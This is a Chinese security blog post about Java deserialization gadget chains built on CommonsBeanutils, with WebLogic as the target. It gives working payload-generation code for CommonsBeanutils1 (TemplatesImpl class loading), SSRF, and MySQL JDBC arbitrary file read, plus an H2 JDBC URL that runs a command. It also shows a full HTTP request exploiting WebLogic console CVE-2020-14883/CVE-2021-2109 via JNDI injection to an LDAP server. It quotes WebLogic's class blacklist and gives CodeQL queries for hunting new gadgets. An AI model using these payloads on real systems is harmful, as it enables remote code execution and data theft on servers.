从CommonsBeanutils说开去

渗透技巧 2年前 (2022) admin
1,804 0 0

一、    CommonsBeanutils1

CommonsBeanutils1作为最常用的链之一,在xstream,shiro等反序列化项目中都大放异彩,分析它的文章已经有很多了,包括我在分析Click1时也提到过(Click1和CommonsBeanutils1非常类似)。

再简略讲一讲它的原理,其实就是在优先队列PriorityQueue设置比较器BeanComparator,再加入经典的TemplatesImpl类。当PriorityQueue被反序列化时,就会触发BeanComparator.compare(),这个方法可以执行任意getter,触发TemplatesImpl.getOutputProperties(),即可实现任意类加载。代码如下。

package cb;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;
public class CommonsBeanutils1 { public static void main(String[] args) throws Exception { FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\test\bin\test\TemplatesImplcmd.class"); byte[] bs = new byte[inputFromFile.available()]; inputFromFile.read(bs); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bs}); setFieldValue(obj, "_name", "TemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser")); objectInputStream.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
}

phithon对此链进行了改良,去除了CommonsCollections依赖,一般称之为CommonsBeanutils2。
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html

c0ny1使用动态加载jar包的方法解决了1718版本和19版本serialVesionUID不一致的问题。
https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/

而这个链至今为此都未被官方修复,不像其他链比如CommonsCollections链已经很难见到,常见的spring项目中都已更新到无链的版本。甚至很多时候,项目中唯一的链就是CommonsBeanutils链。

二、    Weblogic中的CB链

在weblogic中,就存在CommonsBeanutils链。10版本中为1.7.x,12版本中为1.9.x
D:weblogicwlserverserverlibconsoleappAPP-INFlibcommons-beanutils.jar
而众所周知,weblogic的反序列化链是一直在被挖掘,对于第三方jar包,weblogic采取了黑名单的形式来拦截敏感类。
D:weblogicoracle_commonmodulescom.bea.core.utils.jar!weblogic.utils.io.oif.WebLogicFilterConfig.class
位于WebLogicFilterConfig的DEFAULT_BLACKLIST_PACKAGESDEFAULT_BLACKLIST_CLASSES中。

!org.codehaus.groovy.runtime.ConvertedClosure;!org.codehaus.groovy.runtime.ConversionHandler;!org.codehaus.groovy.runtime.MethodClosure;!org.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.UnicastRemoteObject;!java.rmi.server.RemoteObjectInvocationHandler;!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.RemoteObject;!com.tangosol.coherence.rest.util.extractor.MvelExtractor;!java.lang.Runtime;!org.apache.commons.collections.functors.*;!com.sun.org.apache.xalan.internal.xsltc.trax.*;!javassist.*;!java.rmi.activation.*;!sun.rmi.server.*;!org.jboss.interceptor.builder.*;!org.jboss.interceptor.reader.*;!org.jboss.interceptor.proxy.*;!org.jboss.interceptor.spi.metadata.*;!org.jboss.interceptor.spi.model.*;!com.bea.core.repackaged.springframework.aop.aspectj.*;!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;!com.bea.core.repackaged.springframework.beans.factory.support.*;!org.python.core.*


可以看到没有org.apache.commons.collections4,是因为weblogic只引入了commons-collections-3.2.2.jar,当然这是个没有漏洞的版本。
令人惊讶的是居然也没有org.apache.commons.beanutils.BeanComparator,虽然黑名单有com.sun.org.apache.xalan.internal.xsltc.trax.*导致无法直接RCE,但说不定能找出其他的getter呢?
注意,在最新版本中,weblogic增加了白名单,位于
D:weblogicwlservermodulescom.bea.core.weblogic.rmi.client.jar!weblogic.rjvm.InboundMsgAbbrev

private static final Class[] ABBREV_CLASSES = new Class[] { String.class, ServiceContext.class, ClassTableEntry.class, JVMID.class, AuthenticatedUser.class, RuntimeMethodDescriptor.class, Immutable.class };

三、    搭建Weblogic调试(可跳过)

这里不得不记录一下自己对于weblogic的搭建和调试。
此处下载Quick Installer,不过这个版本不是最新版,需要购买正版去打补丁,我下载的最上面的14.1.1.0.0和12.2.1.4.0版本都还存在CVE-2020-14883/CVE-2021-2109。
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
然后以管理员身份运行cmd,

"C:Program FilesJavajdk1.8.0_181binjava.exe" -jar D:fmw_12.2.1.4.0_wls_quick.jar ORACLE_HOME=D:weblogic

从CommonsBeanutils说开去

复制文件完毕后运行
D:weblogicoracle_commoncommonbinconfig.cmd

从CommonsBeanutils说开去

配置完成后修改D:weblogicuser_projectsdomainsbase_domainbinsetDomainEnv.cmd
增加set debugFlag=true会开启8453端口以供远程调试。

从CommonsBeanutils说开去

最后运行D:weblogicuser_projectsdomainsbase_domainstartWebLogic.cmd
weblogic开启,就可以访问熟悉的console了。
http://127.0.0.1:7001/console/login/LoginForm.jsp
然后在idea中配置远程调试,文件——打开——D:weblogic

从CommonsBeanutils说开去

运行——编辑配置——加号——远程——端口改为8453

从CommonsBeanutils说开去

最后,增加以下目录为库,即可下断点调试。
D:weblogicwlserverserverlibconsoleappwebappWEB-INFlib
D:weblogicwlserverserverlib
D:weblogiccoherencelib
D:weblogicwlservermodules
D:weblogicoracle_commonmodules

也可以java -jar D:weblogic12wlserverserverlibwljarbuilder.jar生成wlfullclient.jar作为依赖。

四、    Weblogic引发的思考

遇到weblogic开了console,常利用的是CVE-2021-2109的jndi注入,可以搭配CVE-2020-14883,在实战中很有用。

GET /console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&handle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/test;AdminServer%22) HTTP/1.1Host: 127.0.0.1:7001User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0cmd: tasklistAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: keep-aliveUpgrade-Insecure-Requests: 1

既然是jndi注入,如果碰到jdk版本过高的问题,就必须用Factory或者反序列化进行绕过。这里浅蓝对此进行了研究,我也写了一个Urldns工具可以进行探测。
https://github.com/kezibei/Urldns

从CommonsBeanutils说开去

却发现并没有dnslog回显,并且出现了探测类的报错,跟踪代码后很容易发现是因为之前提到的黑名单的原因,可以剔除掉黑名单中的类再进行探测。

java -jar Urldns.jar ldap "CommonsBeanutils2|C3P0|AspectJWeaver|bsh|winlinux|jndiall" xxx.dnslog.cn

结果是仅有cb/el/mysql/oracle这些第三方jar包,虽然我也写了一个比较全ldap在jdk高版本下绕过工具,但这里显然无法以任何方式绕过。唯一的CB链也因为黑名单导致无法执行TemplatesImpl.getOutputProperties()

从CommonsBeanutils说开去

难道真的没办法绕过吗?众所周知,weblogic几乎每隔几个月就被爆出大量反序列化漏洞,大部分都是T3/IIOP的,jndi高版本绕过当然也可以用这些已经披露的反序列化链。
Weblogic的T3反序列化史参考https://blog.szfszf.top/article/55/
从最开始的CC链,到readExternal二次反序列化,到jndi二次反序列化,到coherence,到jndi注入。
我们的目的是利用反序列化绕jndi高版本限制,那么jndi注入的CVE就被排除了,它们包括。
CVE-2020-14654/CVE-2020-14841/CVE-2021-2394/CVE-2022-21350
而较新的非jndi,以mvel或者反射直接执行恶意代码的CVE都依赖coherence,也就是说仅限12/14,10版本被排除在外了。
CVE-2020-14756/CVE-2020-2555/CVE-2020-2883/CVE-2021-2135
集成CVE-2021-2135到jndi高版本绕过工具效果如下。

从CommonsBeanutils说开去


当然,这不是我们今天研究的。回到最初的问题,既然CB链的本质是执行getter,我们只要再找个getter出来不就行了吗?

五、    CommonsBeanutils3

比较容易想到的getter是URL. getContent(),可以造成一个SSRF。

package cb;
import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.PriorityQueue;
public class CommonsBeanutils3_SSRF { public static void main(String[] args) throws Exception { URL url = new URL("http://127.0.0.1:5667"); //url.getContent(); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "content"); setFieldValue(queue, "queue", new Object[]{url, url}); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser")); objectInputStream.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
}


效果如下

从CommonsBeanutils说开去


但这个危害实在是过低,在学习jdbc对于ldap绕过的帮助时,由于要使用非常多的数据库项目,我们其实经常使用一个非常常见的getter,那就是getConnection(),它可以创建一个数据库链接,我们只要找出一个类,既实现了序列化接口,又存在无参getConnection就行了。
实际情况中,这种类非常非常多,由于最后造成的危害是跟数据库挂钩的,那么我们优先从数据库的类中挑选这种类。
Mysql8(weblogic为mysql-connector-java-commercial-8.0.14.jar)中存在com.mysql.cj.jdbc.MysqlDataSource,它实现了Serializable接口并且无参方法getConnection()可以造成连接。

从CommonsBeanutils说开去

那么制作反序列化payload。

package test;
import org.apache.commons.beanutils.BeanComparator;import com.mysql.cj.jdbc.MysqlDataSource;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;
public class CommonsBeanutils3 { public static void main(String[] args) throws Exception { MysqlDataSource mds = new MysqlDataSource(); mds.setUrl("jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360"); mds.setPassword("123456"); mds.setUser("win_ini"); //mds.getConnection(); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "connection"); setFieldValue(queue, "queue", new Object[]{mds, mds}); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser")); objectInputStream.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
}

成功实现任意文件读取。

从CommonsBeanutils说开去

然后写好恶意ldap服务,在weblogic上用CVE-2021-2109打。

从CommonsBeanutils说开去

这里实现了mysql的任意文件读取,那么可以通过mysql的反序列化来绕过黑名单限制吗?答案是不行,在weblogic早期攻防对抗中就开始对这种二次反序列化的办法围追堵截了。这里是直接利用的JDK内部filter去限制黑名单类。

从CommonsBeanutils说开去

Weblogic内置mysql和Oracle,Oracle的jdbc也有一点小小的危害,来找找Oracle的getConnection()吧。也很容易找到oracle.jdbc.datasource.impl.OracleDataSource

从CommonsBeanutils说开去

        OracleDataSource ods = new OracleDataSource();        ods.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/orcl");        ods.setUser("system");        ods.setPassword("123456");        //ods.getConnection();


除此之外,其他的封装数据库驱动和jdbc的jar包,很多也存在有危害的getConnection(),但是由于它们单独构不成危害,显得有些鸡肋。
比如我从weblogic中找到的一个类。
D:weblogicoracle_commonmodulesoracle.ucp.jar!oracle.ucp.jdbc.PoolDataSourceImpl

        PoolDataSourceImpl  pds = new PoolDataSourceImpl();        pds.setConnectionFactoryClassName("oracle.jdbc.driver.OracleDriver");        pds.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/test");        pds.setUser("user");        pds.setPassword("password");        pds.setConnectionPoolName("demo-pool");//注意这里最好每次生成新的名称,否则只能触发一次。        pds.setInitialPoolSize(3);        pds.setMaxPoolSize(3);        pds.setValidateConnectionOnBorrow(true);        //pds.getConnection();

有意思的是这个类也实现了ObjectFactory接口,也是高版本jdk绕jndi注入的方案之一。

提到jdbc的危害,就绕不过去h2,h2中也有符合条件的类org.h2.jdbcx.JdbcDataSource

        JdbcDataSource jds = new JdbcDataSource();        String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ONn" +                "INFORMATION_SCHEMA.TABLES AS $$//javascriptn" +                "java.lang.Runtime.getRuntime().exec('calc')n" +                "$$n";        jds.setUrl(JDBC_URL);        //jds.getConnection();

但直接getConnection能成功,cb链反序列化却不成功,原因是它的每个getter都会执行父类的trace.isDebugEnabled(),而父类TraceObject无法反序列化,导致其属性trace为null而报错。这个时候PoolDataSourceImpl这种类就能派上用场了。

PoolDataSourceImpl在这里起到的作用和ldap的各种数据库工厂类一样,因此在commons-dbcp/druid/HikariCP/tomcat-dbcp,都能找到类似的类。

回到weblogic上去,虽然我们的目的是通过CB3这个反序列化链来绕高版本jdk对ldap的限制,但实际上等于找到了一条weblogic内部反序列化链。这条链能够用来T3/IIOP反序列化吗?
这里直接打进去不报错也没有mysql请求,在java.io.ObjectInputStream.filterCheck()下断点并逐步调试可以发现这样一个报错。

从CommonsBeanutils说开去

根本就没有org.apache.commons.beanutils.BeanComparator类,再看看jar包位置。
D:weblogicwlserverserverlibconsoleappAPP-INFlibcommons-beanutils.jar
也就是说仅在web-console中才引入commons-beanutils,而一般weblogic反序列化漏洞都在T3/IIOP协议中找的。这也难怪黑名单中没有commons-beanutils。

那么CommonsBeanutils3仅能做ldap绕过的补充,并不能T3反序列化。

六、    如何挖掘更多的getter

这个时候就要上codeql了,搭建的过程略过,网上很多教程,如果你是windows需要在linux平台也搭一个。后面用到的一个工具仅限mac/linux。
搭建好codeql+VScode如下。

从CommonsBeanutils说开去

然后去创建数据库,一般来说,codeql数据库需要下载对应项目的源码,然后执行mvn,根据编译过程来创建数据库。

codeql database create shirodb --language=java --overwrite --command="mvn package -Dmaven.test.skip"

但这样很不稳定容易报错,对于单jar包来说,可以用https://github.com/waderwu/extractor-java直接反编译创建数据库。
使用方法很简单,创建cb目录,在cb目录
unzip commons-beanutils-1.9.4.jar
反编译cb目录所有class
python3 class2java.py cb
创建数据库cbdb
python3 run.py cbdb cb
在创建大数据库时可能内存不足报错,可以修改run.py中的-Xmx/-Xms配置。

不过此项目仅能在mac/linux环境中使用,可以创建好数据库再导入到windows上的VScode。

从CommonsBeanutils说开去

然后就是找getter了,先尝试用ql写一个简单的getter,首先这个getter的类必须实现Serializable接口,因此先创建个SerializableMethod。

然后就是找getter了,先尝试用ql写一个简单的getter,首先这个getter的类必须实现Serializable接口,因此先创建个SerializableMethod。

import java
abstract class SerializableMethod extends Method { SerializableMethod() { this.getDeclaringType().getASupertype*() instanceof TypeSerializable }}

然后想想getter该怎么写,以get开头,大于3字节,Public方法,没有参数。

class GetMethod extends SerializableMethod {    GetMethod() {        this.getName().matches("get%")        and this.getName().length() > 3        and this.isPublic()        and this.paramsString() = "()"    }}

最后加上查询,合起来就是。

import java
abstract class SerializableMethod extends Method { SerializableMethod() { this.getDeclaringType().getASupertype*() instanceof TypeSerializable }}
class GetMethod extends SerializableMethod { GetMethod() { this.getName().matches("get%") and this.getName().length() > 3 and this.isPublic() and this.paramsString() = "()" }}
from GetMethod sourceselect source,source.getDeclaringType().getPackage().getName(),source.getDeclaringType()

从CommonsBeanutils说开去

 可是出现的都是JDK自带的类,因此要加上fromSource()限制。

从CommonsBeanutils说开去

就这么简单我们实现了利用codeql去筛选getter。

再去确定一个sink点,比如常用的invoke

class Invoke extends Method {    Invoke() {        this.getACallee().hasName("invoke")    }}


然后实现edges方法去追踪getter到invoke。

query predicate edges(Method a, Method b) {     a.polyCalls(b)}


以及使用path模板

/** * @kind path-problem */

最终代码如下

/** * @kind path-problem */
import java
abstract class SerializableMethod extends Method { SerializableMethod() { this.getDeclaringType().getASupertype*() instanceof TypeSerializable }}
class GetMethod extends SerializableMethod { GetMethod() { this.getName().matches("get%") and this.isPublic() and this.getName().length() > 3 and this.paramsString() = "()" and this.fromSource() }}
class Invoke extends Method { Invoke() { this.getACallee().hasName("invoke") }}
query predicate edges(Method a, Method b) { a.polyCalls(b)}
from GetMethod source,Invoke sinkwhere edges*(source,sink)select sink, source, sink, "Sink is reached from $@.", source, "here"

可以看到,在cbdb中可以找到4条链,但都是无法使用的。对于invoke来说,可以直接看sink点来快速判断是否能够使用。比如下面这个,method为常量。

从CommonsBeanutils说开去


并且在实际找链过程中,发现即使有完全可控的invoke也不好使,因为要实际invoke的对象也应该是可以反序列化的,一般是用TemplatesImpl来解决,但这里用不了。除非是像CC链的Transformer那样从Class开始循环反射调用。所以感觉还是选择其他sink点比较靠谱。

这里只是基础,真的要找链还要注意各种繁琐细节,很看个人经验,这里可以参考前人的文章。
https://blog.diggid.top/2022/04/30/%E4%BD%BF%E7%94%A8CodeQL-CHA%E8%B0%83%E7%94%A8%E5%9B%BE%E5%88%86%E6%9E%90%E5%AF%BB%E6%89%BE%E6%96%B0%E7%9A%84CC%E9%93%BE/
https://xz.aliyun.com/t/10852

当然,绕jndi也可以用ObjectFactory的getObjectInstance(),要从weblogicdb中搜索。建wlfullclient数据库和找链都非常耗时。

class ObjectFactory extends Method {    ObjectFactory() {        this.getName() = "getObjectInstance"        and this.getDeclaringType().getASupertype*().hasQualifiedName("javax.naming.spi", "ObjectFactory")        and this.isPublic()        and this.fromSource()            }}


最终我几乎没有什么发现,但过程还是学到不少的。

原文始发于微信公众号(珂技知识分享):从CommonsBeanutils说开去

版权声明:admin 发表于 2022年6月29日 上午11:29。
转载请注明:从CommonsBeanutils说开去 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...